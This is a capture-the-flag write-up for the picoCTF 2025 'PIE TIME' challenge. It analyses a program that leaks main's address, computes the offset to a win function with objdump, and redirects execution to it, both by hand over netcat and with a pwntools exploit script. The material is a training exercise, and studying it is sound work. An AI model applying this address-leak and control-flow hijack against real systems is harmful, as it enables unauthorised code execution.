Skip to content

Latest commit

 

History

History
230 lines (171 loc) · 6.74 KB

File metadata and controls

230 lines (171 loc) · 6.74 KB

PIE TIME

Challenge information

Level: Easy
Tags: Binary Exploitation, picoCTF 2025, browser_webshell_solvable
Author: Darkraicg492

Description:
Can you try to get the flag? Beware we have PIE!

Connect to the program with netcat:
$ nc rescued-float.picoctf.net 54396

The program's source code can be downloaded here. 
The binary can be downloaded here.
 
Hints:
1. Can you figure out what changed between the address you found locally 
   and in the server output?

Challenge link: https://play.picoctf.org/practice/challenge/490

Manual Solution

Analyse the C file

We start by analysing the C source code. First the main function.

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

Main basically does the following:

  • Sets up a signal handler for SIGSEGV (Invalid memory references)
  • Prints the address of main for us
  • Reads and prints a value of a function we want to call
  • Calls this function

If an invalid memory reference happens the segfault_handler function is called

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

which prints an error message and exit the program.

The function we want to call is the win function that prints the flag

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

Analyse the binary

Next, we analyse the binary

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0072413e1b5a0613219f45518ded05fc685b680a, for GNU/Linux 3.2.0, not stripped

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ checksec --file=vuln
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   78 Symbols        No    0               1               vuln

As mentioned in the challenge description, the binary is a Position-Independent Executable.

Get function offsets

Next, we need to calculate the relative offsets between the main and the win functions.
We can do this with objdump, grep and python for example

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ objdump -t vuln | grep main              
0000000000000000       F *UND*  0000000000000000              __libc_start_main@@GLIBC_2.2.5
000000000000133d g     F .text  00000000000000cc              main

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ objdump -t vuln | grep win 
00000000000012a7 g     F .text  0000000000000096              win

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ python -c "print(0x133d - 0x12a7)"         
150

The relative offset is 150 bytes.

Get the flag

Finally, we connect to the site vith netcat

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ nc rescued-float.picoctf.net 54396
Address of main: 0x63a0349ec33d
Enter the address to jump to, ex => 0x12345:

Then we calculate the hex-adress of win in another shell

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ python -c "print(hex(0x63a0349ec33d - 150))"
0x63a0349ec2a7

And gives this address as input to get the flag

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ nc rescued-float.picoctf.net 54396
Address of main: 0x63a0349ec33d
Enter the address to jump to, ex => 0x12345: 0x63a0349ec2a7
Your input: 63a0349ec2a7
You won!
picoCTF{<REDACTED>}

Automated Solution

Doing manual calculations in a separate window is tedious so let's automate the solution with Python and pwntools.

#!/usr/bin/env python

from pwn import *

SERVER = 'rescued-float.picoctf.net'
PORT = 54396

exe = context.binary = ELF('./vuln', checksec=False)

# Set output level (critical, error, warning, info, debug)
context.log_level = "warning"

io = remote(SERVER, PORT)

main = exe.symbols.main
win = exe.symbols.win
offset = main - win
log.info(f"Relative offset is: {offset}")

main = int(io.recvlineS().split(':')[1].strip()[2:], 16)
win = str(hex(main - 150)).encode()
log.info(f"Sending address of win: {win.decode()}")
io.sendlineafter(b'ex => 0x12345: ', win)
io.recvline()
print(io.recvallS())
io.close()

Finally, we run the script to get the flag

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ source ~/Python_venvs/PwnTools/bin/activate

┌──(PwnTools)─(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ ./get_flag.py
You won!
picoCTF{<REDACTED>}

For additional information, please see the references below.

References